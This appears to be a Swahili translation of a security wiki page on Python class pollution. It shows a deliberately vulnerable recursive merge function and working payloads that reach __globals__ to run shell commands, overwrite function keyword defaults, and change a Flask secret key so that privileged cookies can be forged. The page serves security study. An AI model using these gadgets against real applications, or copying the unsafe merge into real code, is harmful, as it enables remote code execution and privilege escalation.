Uchafuzi wa Darasa (Uchafuzi wa Prototype wa Python)

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Mfano wa Msingi

Angalia jinsi inavyowezekana kuchafua madarasa ya vitu kwa kutumia nyuzi:

python
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

Mfano wa Msingi wa Uthibitisho

python
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Mfano wa Gadget

Kuunda thamani ya chaguo la mali ya darasa kwa RCE (subprocess)
python
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

USER_INPUT = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}

recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"

# Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command())
#> [!] Executing: "whoami", output: "abdulrah33m"
Kuchafua madarasa mengine na mabadiliko ya kimataifa kupitia globals
python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Utendaji wa subprocess wa kiholela
python
import subprocess, json

class Employee:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

# Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
Kufuta __kwdefaults__

__kwdefaults__ ni sifa maalum ya kazi zote, kulingana na nyaraka za Python, ni “ramani ya thamani zozote za msingi kwa parameta za neno funguo pekee”. Kuingiza uchafu katika sifa hii inatupa uwezo wa kudhibiti thamani za msingi za parameta za neno funguo pekee za kazi, hizi ni parameta za kazi zinazokuja baada ya * au *args.

python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Kufuta siri ya Flask kati ya faili

Hivyo, ikiwa unaweza kufanya uchafuzi wa darasa juu ya kitu kilichofafanuliwa katika faili kuu ya python ya wavuti lakini ambayo darasa lake limefafanuliwa katika faili tofauti na ile kuu. Kwa sababu ili kufikia __globals__ katika payloads zilizopita unahitaji kufikia darasa la kitu au mbinu za darasa, utaweza kufikia globals katika faili hiyo, lakini si katika ile kuu.
Hivyo, hutaweza kufikia kitu cha kimataifa cha Flask app ambacho kilifafanua funguo ya siri katika ukurasa kuu:

python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

Katika hali hii unahitaji kifaa cha kupita faili ili kufikia faili kuu ili kupata kitu cha ulimwengu app.secret_key kubadilisha funguo ya siri ya Flask na kuwa na uwezo wa kuinua mamlaka ukijua funguo hii.

Payload kama hii kutoka kwa andiko hili:

python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

Tumia payload hii kubadilisha app.secret_key (jina katika programu yako linaweza kuwa tofauti) ili uweze kusaini vidakuzi vya flask vipya na vya kibali zaidi.

Angalia pia ukurasa ufuatao kwa vifaa vya kusoma tu:

{{#ref}} python-internal-read-gadgets.md {{#endref}}

Marejeo

tip

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